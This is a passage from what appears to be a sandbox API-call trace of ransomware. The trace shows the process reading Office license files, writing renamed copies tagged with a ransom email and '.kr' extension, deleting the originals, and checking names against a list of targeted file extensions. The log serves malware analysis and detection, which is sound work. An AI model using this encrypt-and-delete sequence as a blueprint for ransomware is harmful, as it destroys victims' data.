Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0209.915] GetLastError () returned 0x0 [0209.915] ReadFile (in: hFile=0x518, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2b8b, lpOverlapped=0x0) returned 1 [0209.917] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2b90, lpOverlapped=0x0) returned 1 [0209.918] ReadFile (in: hFile=0x518, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0209.918] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x104, lpOverlapped=0x0) returned 1 [0209.918] SetEndOfFile (hFile=0x574) returned 1 [0209.918] CloseHandle (hObject=0x574) returned 1 [0209.918] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0209.918] SetEndOfFile (hFile=0x518) returned 1 [0209.925] CloseHandle (hObject=0x518) returned 1 [0209.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-pl.xrm-ms")) returned 1 [0209.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74 [0209.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74 [0209.926] lstrlenW (lpString=".doc") returned 4 [0209.926] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.926] lstrlenW (lpString=".docx") returned 5 [0209.926] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.926] lstrlenW (lpString=".pdf") returned 4 [0209.926] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.926] lstrlenW (lpString=".xls") returned 4 [0209.926] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.926] lstrlenW (lpString=".xlsx") returned 5 [0209.927] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.927] lstrlenW (lpString=".ppt") returned 4 [0209.927] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74 [0209.927] lstrlenW (lpString=".zip") returned 4 [0209.927] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.927] lstrlenW (lpString=".rar") returned 4 [0209.927] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.927] lstrlenW (lpString=".bz2") returned 4 [0209.927] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.927] lstrlenW (lpString=".7z") returned 3 [0209.927] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74 [0209.927] lstrlenW (lpString=".dbf") returned 4 [0209.927] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74 [0209.927] lstrlenW (lpString=".1cd") returned 4 [0209.927] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74 [0209.927] lstrlenW (lpString=".jpg") returned 4 [0209.927] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74 [0209.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74 [0209.927] lstrlenW (lpString=".doc") returned 4 [0209.927] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.927] lstrlenW (lpString=".docx") returned 5 [0209.927] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.927] lstrlenW (lpString=".pdf") returned 4 [0209.927] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.927] lstrlenW (lpString=".xls") returned 4 [0209.927] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.927] lstrlenW (lpString=".xlsx") returned 5 [0209.928] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.928] lstrlenW (lpString=".ppt") returned 4 [0209.928] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74 [0209.928] lstrlenW (lpString=".zip") returned 4 [0209.928] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.928] lstrlenW (lpString=".rar") returned 4 [0209.928] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.928] lstrlenW (lpString=".bz2") returned 4 [0209.928] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.928] lstrlenW (lpString=".7z") returned 3 [0209.928] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74 [0209.928] lstrlenW (lpString=".dbf") returned 4 [0209.928] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74 [0209.928] lstrlenW (lpString=".1cd") returned 4 [0209.928] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-pl.xrm-ms") returned 74 [0209.928] lstrlenW (lpString=".jpg") returned 4 [0209.928] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.928] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0209.928] lstrlenW (lpString="OneNoteR_Trial-ppd.xrm-ms") returned 25 [0209.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0209.929] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=21025) returned 1 [0209.929] CloseHandle (hObject=0x518) returned 1 [0209.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ppd.xrm-ms")) returned 0x220 [0209.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0209.930] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0209.930] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0209.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0209.931] GetLastError () returned 0x0 [0209.931] ReadFile (in: hFile=0x518, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x5221, lpOverlapped=0x0) returned 1 [0209.933] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x5230, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x5230, lpOverlapped=0x0) returned 1 [0209.934] ReadFile (in: hFile=0x518, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0209.934] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x106, lpOverlapped=0x0) returned 1 [0209.934] SetEndOfFile (hFile=0x574) returned 1 [0209.934] CloseHandle (hObject=0x574) returned 1 [0209.934] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0209.934] SetEndOfFile (hFile=0x518) returned 1 [0209.937] CloseHandle (hObject=0x518) returned 1 [0209.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ppd.xrm-ms")) returned 1 [0209.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75 [0209.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75 [0209.939] lstrlenW (lpString=".doc") returned 4 [0209.939] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.939] lstrlenW (lpString=".docx") returned 5 [0209.939] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.939] lstrlenW (lpString=".pdf") returned 4 [0209.939] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.939] lstrlenW (lpString=".xls") returned 4 [0209.939] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.939] lstrlenW (lpString=".xlsx") returned 5 [0209.939] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.939] lstrlenW (lpString=".ppt") returned 4 [0209.939] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75 [0209.939] lstrlenW (lpString=".zip") returned 4 [0209.939] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.939] lstrlenW (lpString=".rar") returned 4 [0209.939] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.939] lstrlenW (lpString=".bz2") returned 4 [0209.939] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.939] lstrlenW (lpString=".7z") returned 3 [0209.939] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75 [0209.939] lstrlenW (lpString=".dbf") returned 4 [0209.939] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75 [0209.939] lstrlenW (lpString=".1cd") returned 4 [0209.939] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75 [0209.939] lstrlenW (lpString=".jpg") returned 4 [0209.939] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75 [0209.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75 [0209.940] lstrlenW (lpString=".doc") returned 4 [0209.940] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.940] lstrlenW (lpString=".docx") returned 5 [0209.940] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.940] lstrlenW (lpString=".pdf") returned 4 [0209.940] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.940] lstrlenW (lpString=".xls") returned 4 [0209.940] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.940] lstrlenW (lpString=".xlsx") returned 5 [0209.940] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.940] lstrlenW (lpString=".ppt") returned 4 [0209.940] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75 [0209.940] lstrlenW (lpString=".zip") returned 4 [0209.940] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.940] lstrlenW (lpString=".rar") returned 4 [0209.940] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.940] lstrlenW (lpString=".bz2") returned 4 [0209.940] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.940] lstrlenW (lpString=".7z") returned 3 [0209.940] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75 [0209.940] lstrlenW (lpString=".dbf") returned 4 [0209.940] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75 [0209.940] lstrlenW (lpString=".1cd") returned 4 [0209.940] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ppd.xrm-ms") returned 75 [0209.940] lstrlenW (lpString=".jpg") returned 4 [0209.940] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.941] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0209.941] lstrlenW (lpString="OneNoteR_Trial-ul-oob.xrm-ms") returned 28 [0209.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0209.941] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11596) returned 1 [0209.941] CloseHandle (hObject=0x518) returned 1 [0209.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ul-oob.xrm-ms")) returned 0x220 [0209.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0209.942] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0209.942] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0209.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0209.943] GetLastError () returned 0x0 [0209.943] ReadFile (in: hFile=0x518, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d4c, lpOverlapped=0x0) returned 1 [0210.239] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d50, lpOverlapped=0x0) returned 1 [0210.240] ReadFile (in: hFile=0x518, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0210.240] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x10c, lpOverlapped=0x0) returned 1 [0210.240] SetEndOfFile (hFile=0x574) returned 1 [0210.241] CloseHandle (hObject=0x574) returned 1 [0210.241] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0210.241] SetEndOfFile (hFile=0x518) returned 1 [0210.243] CloseHandle (hObject=0x518) returned 1 [0210.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0210.244] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_trial-ul-oob.xrm-ms")) returned 1 [0210.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78 [0210.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78 [0210.245] lstrlenW (lpString=".doc") returned 4 [0210.245] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.245] lstrlenW (lpString=".docx") returned 5 [0210.245] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.245] lstrlenW (lpString=".pdf") returned 4 [0210.245] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.245] lstrlenW (lpString=".xls") returned 4 [0210.245] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.245] lstrlenW (lpString=".xlsx") returned 5 [0210.245] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.245] lstrlenW (lpString=".ppt") returned 4 [0210.245] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78 [0210.245] lstrlenW (lpString=".zip") returned 4 [0210.245] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.245] lstrlenW (lpString=".rar") returned 4 [0210.245] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.245] lstrlenW (lpString=".bz2") returned 4 [0210.245] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.245] lstrlenW (lpString=".7z") returned 3 [0210.245] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78 [0210.245] lstrlenW (lpString=".dbf") returned 4 [0210.245] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78 [0210.246] lstrlenW (lpString=".1cd") returned 4 [0210.246] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78 [0210.246] lstrlenW (lpString=".jpg") returned 4 [0210.246] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78 [0210.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78 [0210.246] lstrlenW (lpString=".doc") returned 4 [0210.246] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.246] lstrlenW (lpString=".docx") returned 5 [0210.246] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.246] lstrlenW (lpString=".pdf") returned 4 [0210.246] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.246] lstrlenW (lpString=".xls") returned 4 [0210.246] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.246] lstrlenW (lpString=".xlsx") returned 5 [0210.246] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.246] lstrlenW (lpString=".ppt") returned 4 [0210.246] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78 [0210.246] lstrlenW (lpString=".zip") returned 4 [0210.246] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.246] lstrlenW (lpString=".rar") returned 4 [0210.246] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.246] lstrlenW (lpString=".bz2") returned 4 [0210.246] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.246] lstrlenW (lpString=".7z") returned 3 [0210.246] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78 [0210.246] lstrlenW (lpString=".dbf") returned 4 [0210.247] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78 [0210.247] lstrlenW (lpString=".1cd") returned 4 [0210.247] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78 [0210.247] lstrlenW (lpString=".jpg") returned 4 [0210.247] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.247] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0210.247] lstrlenW (lpString="OutlookR_OEM_Perp-pl.xrm-ms") returned 27 [0210.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0210.248] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=10643) returned 1 [0210.248] CloseHandle (hObject=0x518) returned 1 [0210.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-pl.xrm-ms")) returned 0x220 [0210.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0210.248] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0210.248] 